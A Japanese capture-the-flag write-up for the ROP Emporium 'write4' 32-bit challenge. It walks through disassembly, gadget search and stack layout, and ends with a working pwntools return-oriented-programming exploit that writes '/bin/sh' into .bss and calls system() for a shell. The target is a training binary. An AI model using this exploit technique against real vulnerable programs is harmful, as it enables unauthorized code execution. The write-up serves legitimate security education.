・問題リンク ropemporium.com
まずstrings
コマンドで静的解析をする
$ strings write432
...
/bin/ls
...
プログラム内部でsystem()を呼び出していそうなことがわかる
$ gdb write432
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
gdb-peda$ i func
All defined functions:
Non-debugging symbols:
0x080483c0 _init
0x08048400 printf@plt
0x08048410 fgets@plt
0x08048420 puts@plt
**0x08048430 system@plt**
0x08048440 __libc_start_main@plt
0x08048450 setvbuf@plt
0x08048460 memset@plt
0x08048470 __gmon_start__@plt
0x08048480 _start
0x080484b0 __x86.get_pc_thunk.bx
0x080484c0 deregister_tm_clones
0x080484f0 register_tm_clones
0x08048530 __do_global_dtors_aux
0x08048550 frame_dummy
0x0804857b main
0x080485f6 pwnme
0x0804864c usefulFunction
0x08048670 usefulGadgets
0x08048680 __libc_csu_init
0x080486e0 __libc_csu_fini
0x080486e4 _fini
gdb-peda$
partial RERLOなのでGOT Overwriteが可能であり、NX bitがonなのでshellcodeによるexploitはできない。
((0)~(2)と同様BoFによってEIPが奪えるなのでGot Overwriteの必要はないが...)
またpwnme、usefulFunction、usefulGadgetsをそれぞれディスアセンブルしてみる。
gdb-peda$ pdisas main Dump of assembler code for function main: 0x0804857b <+0>: lea ecx,[esp+0x4] 0x0804857f <+4>: and esp,0xfffffff0 0x08048582 <+7>: push DWORD PTR [ecx-0x4] 0x08048585 <+10>: push ebp 0x08048586 <+11>: mov ebp,esp 0x08048588 <+13>: push ecx 0x08048589 <+14>: sub esp,0x4 0x0804858c <+17>: mov eax,ds:0x804a064 0x08048591 <+22>: push 0x0 0x08048593 <+24>: push 0x2 0x08048595 <+26>: push 0x0 0x08048597 <+28>: push eax 0x08048598 <+29>: call 0x8048450 <setvbuf@plt> 0x0804859d <+34>: add esp,0x10 0x080485a0 <+37>: mov eax,ds:0x804a040 0x080485a5 <+42>: push 0x0 0x080485a7 <+44>: push 0x2 0x080485a9 <+46>: push 0x0 0x080485ab <+48>: push eax 0x080485ac <+49>: call 0x8048450 <setvbuf@plt> 0x080485b1 <+54>: add esp,0x10 0x080485b4 <+57>: sub esp,0xc 0x080485b7 <+60>: push 0x8048700 0x080485bc <+65>: call 0x8048420 <puts@plt> 0x080485c1 <+70>: add esp,0x10 0x080485c4 <+73>: sub esp,0xc 0x080485c7 <+76>: push 0x8048717 0x080485cc <+81>: call 0x8048420 <puts@plt> 0x080485d1 <+86>: add esp,0x10 0x080485d4 <+89>: call 0x80485f6 <pwnme> 0x080485d9 <+94>: sub esp,0xc 0x080485dc <+97>: push 0x804871f 0x080485e1 <+102>: call 0x8048420 <puts@plt> 0x080485e6 <+107>: add esp,0x10 0x080485e9 <+110>: mov eax,0x0 0x080485ee <+115>: mov ecx,DWORD PTR [ebp-0x4] 0x080485f1 <+118>: leave 0x080485f2 <+119>: lea esp,[ecx-0x4] 0x080485f5 <+122>: ret End of assembler dump. gdb-peda$ pdisas pwnme Dump of assembler code for function pwnme: 0x080485f6 <+0>: push ebp 0x080485f7 <+1>: mov ebp,esp 0x080485f9 <+3>: sub esp,0x28 0x080485fc <+6>: sub esp,0x4 0x080485ff <+9>: push 0x20 0x08048601 <+11>: push 0x0 0x08048603 <+13>: lea eax,[ebp-0x28] 0x08048606 <+16>: push eax 0x08048607 <+17>: call 0x8048460 <memset@plt> 0x0804860c <+22>: add esp,0x10 0x0804860f <+25>: sub esp,0xc 0x08048612 <+28>: push 0x8048728 0x08048617 <+33>: call 0x8048420 <puts@plt> 0x0804861c <+38>: add esp,0x10 0x0804861f <+41>: sub esp,0xc 0x08048622 <+44>: push 0x8048751 0x08048627 <+49>: call 0x8048400 <printf@plt> 0x0804862c <+54>: add esp,0x10 0x0804862f <+57>: mov eax,ds:0x804a060 0x08048634 <+62>: sub esp,0x4 0x08048637 <+65>: push eax 0x08048638 <+66>: push 0x200 0x0804863d <+71>: lea eax,[ebp-0x28] 0x08048640 <+74>: push eax 0x08048641 <+75>: call 0x8048410 <fgets@plt> 0x08048646 <+80>: add esp,0x10 0x08048649 <+83>: nop 0x0804864a <+84>: leave 0x0804864b <+85>: ret End of assembler dump.
次にusefulFunctionを見る。
Dump of assembler code for function usefulFunction: 0x0804864c <+0>: push ebp 0x0804864d <+1>: mov ebp,esp 0x0804864f <+3>: sub esp,0x8 0x08048652 <+6>: sub esp,0xc 0x08048655 <+9>: push 0x8048754 0x0804865a <+14>: call 0x8048430 <system@plt> 0x0804865f <+19>: add esp,0x10 0x08048662 <+22>: nop 0x08048663 <+23>: leave 0x08048664 <+24>: ret End of assembler dump. gdb-peda$ x/s 0x8048754 0x8048754: "/bin/ls" gdb-peda$
systemを呼び出しているが、その引数は/bin/ls
となっており、bashを起動するには一工夫必要そうだ。
gdb-peda$ pdisas usefulGadgets Dump of assembler code for function usefulGadgets: 0x08048670 <+0>: mov DWORD PTR [edi],ebp 0x08048672 <+2>: ret 0x08048673 <+3>: xchg ax,ax 0x08048675 <+5>: xchg ax,ax 0x08048677 <+7>: xchg ax,ax 0x08048679 <+9>: xchg ax,ax 0x0804867b <+11>: xchg ax,ax 0x0804867d <+13>: xchg ax,ax 0x0804867f <+15>: nop End of assembler dump. gdb-peda$
usefulGadgetsのmov DWORD PTR [edi],ebp; ret
というガジェットが使えることがわかる。
これはediの指すメモリアドレスにebpの値をコピーする命令となっていて、これを使ってwritableなメモリ領域に/bin/sh
と書き込み、systemの引数としてbashの起動をすることを目指す。
そのためにはpop edi
pop ebp
などのstackからedi、ebpレジスタを操作する命令群がほしい。
これらをropgadget
コマンドで探してみる。
gdb-peda$ start gdb-peda$ ropgadget ret = 0x804819d popret = 0x80483e1 pop2ret = 0x80486da pop3ret = 0x80486d9 pop4ret = 0x80486d8 addesp_12 = 0x80483de addesp_16 = 0x80484e5 gdb-peda$ x/3i 0x80486da 0x80486da <__libc_csu_init+90>: pop edi 0x80486db <__libc_csu_init+91>: pop ebp 0x80486dc <__libc_csu_init+92>: ret gdb-peda$
ちょうどpop2retでedi、ebpに値をpopできるのでこれを使う。
以下のスタックの状態を考えてみる。
Low (↑stack growth) |
---|
... |
pop edi;pop ebp;ret (=1番目の戻り先) |
書き込みたいアドレス (→edi) |
value (4bit) (→ebp) |
mov [edi],ebp;ret (=2番目の戻り先) |
3番目の戻り先 |
... |
High |
3番目の戻り先に再びpop edi;pop ebp;ret
を接続することで、任意のメモリアドレスに任意の値の書き込みが可能になる。
次に/bin/sh
を書き込むこむことができるセクションを探してみる。
$ readelf -S write432 There are 31 section headers, starting at offset 0x196c: セクションヘッダ: [番] 名前 タイプ アドレス Off サイズ ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .interp PROGBITS 08048154 000154 000013 00 A 0 0 1 [ 2] .note.ABI-tag NOTE 08048168 000168 000020 00 A 0 0 4 [ 3] .note.gnu.build-i NOTE 08048188 000188 000024 00 A 0 0 4 [ 4] .gnu.hash GNU_HASH 080481ac 0001ac 000030 04 A 5 0 4 [ 5] .dynsym DYNSYM 080481dc 0001dc 0000d0 10 A 6 1 4 [ 6] .dynstr STRTAB 080482ac 0002ac 000081 00 A 0 0 1 [ 7] .gnu.version VERSYM 0804832e 00032e 00001a 02 A 5 0 2 [ 8] .gnu.version_r VERNEED 08048348 000348 000020 00 A 6 1 4 [ 9] .rel.dyn REL 08048368 000368 000020 08 A 5 0 4 [10] .rel.plt REL 08048388 000388 000038 08 AI 5 24 4 [11] .init PROGBITS 080483c0 0003c0 000023 00 AX 0 0 4 [12] .plt PROGBITS 080483f0 0003f0 000080 04 AX 0 0 16 [13] .plt.got PROGBITS 08048470 000470 000008 00 AX 0 0 8 [14] .text PROGBITS 08048480 000480 000262 00 AX 0 0 16 [15] .fini PROGBITS 080486e4 0006e4 000014 00 AX 0 0 4 [16] .rodata PROGBITS 080486f8 0006f8 000064 00 A 0 0 4 [17] .eh_frame_hdr PROGBITS 0804875c 00075c 00003c 00 A 0 0 4 [18] .eh_frame PROGBITS 08048798 000798 00010c 00 A 0 0 4 [19] .init_array INIT_ARRAY 08049f08 000f08 000004 00 WA 0 0 4 [20] .fini_array FINI_ARRAY 08049f0c 000f0c 000004 00 WA 0 0 4 [21] .jcr PROGBITS 08049f10 000f10 000004 00 WA 0 0 4 [22] .dynamic DYNAMIC 08049f14 000f14 0000e8 08 WA 6 0 4 [23] .got PROGBITS 08049ffc 000ffc 000004 04 WA 0 0 4 [24] .got.plt PROGBITS 0804a000 001000 000028 04 WA 0 0 4 [25] .data PROGBITS 0804a028 001028 000008 00 WA 0 0 4 [26] .bss NOBITS 0804a040 001030 00002c 00 WA 0 0 32 [27] .comment PROGBITS 00000000 001030 000034 01 MS 0 0 1 [28] .shstrtab STRTAB 00000000 001861 00010a 00 0 0 1 [29] .symtab SYMTAB 00000000 001064 000510 10 30 50 4 [30] .strtab STRTAB 00000000 001574 0002ed 00 0 0 1 Key to Flags: W (write), A (alloc), X (execute), M (merge), S (strings), I (info), L (link order), O (extra OS processing required), G (group), T (TLS), C (compressed), x (unknown), o (OS specific), E (exclude), p (processor specific) $
Wの立っているところがwritableである。 今回は.bssセクションを使う。
最後にsystem関数の呼び出し直前のスタックの状態を考える。 以下のようにすればsystemに引数を渡すことができる。
Low (↑stack growth) |
---|
... |
system@pltのアドレス(=リターンアドレス) |
"AAAA" (=system()終了後のダミーの戻り先) |
0x0804a040("bin/sh"のアドレス、systemの第一引数) |
... |
High |
以上を踏まえてexploitコードは以下になる
from pwn import * p=process('./write432') system_plt=0x8048430 mov_edi_ebp=0x08048670 pop2ret=0x80486da bss_addr=0x0804a040 payload='' payload+='A'*44 payload+=p32(pop2ret) payload+=p32(bss_addr) payload+="/bin" payload+=p32(mov_edi_ebp) payload+=p32(pop2ret) payload+=p32(bss_addr+4) payload+="/sh\x00" payload+=p32(mov_edi_ebp) payload+=p32(system_plt) payload+="junk" payload+=p32(bss_addr) p.sendline(payload) p.interactive()
実行結果
$ python exploit.py [+] Starting local process './write432': pid 10954 [*] Switching to interactive mode write4 by ROP Emporium 32bits Go ahead and give me the string already! > $ cat flag.txt ROPE{a_placeholder_32byte_flag!} $ exit [*] Got EOF while reading in interactive $ [*] Process './write432' stopped with exit code -11 (SIGSEGV) (pid 10954) [*] Got EOF while sending in interactive $
flagを入手することができた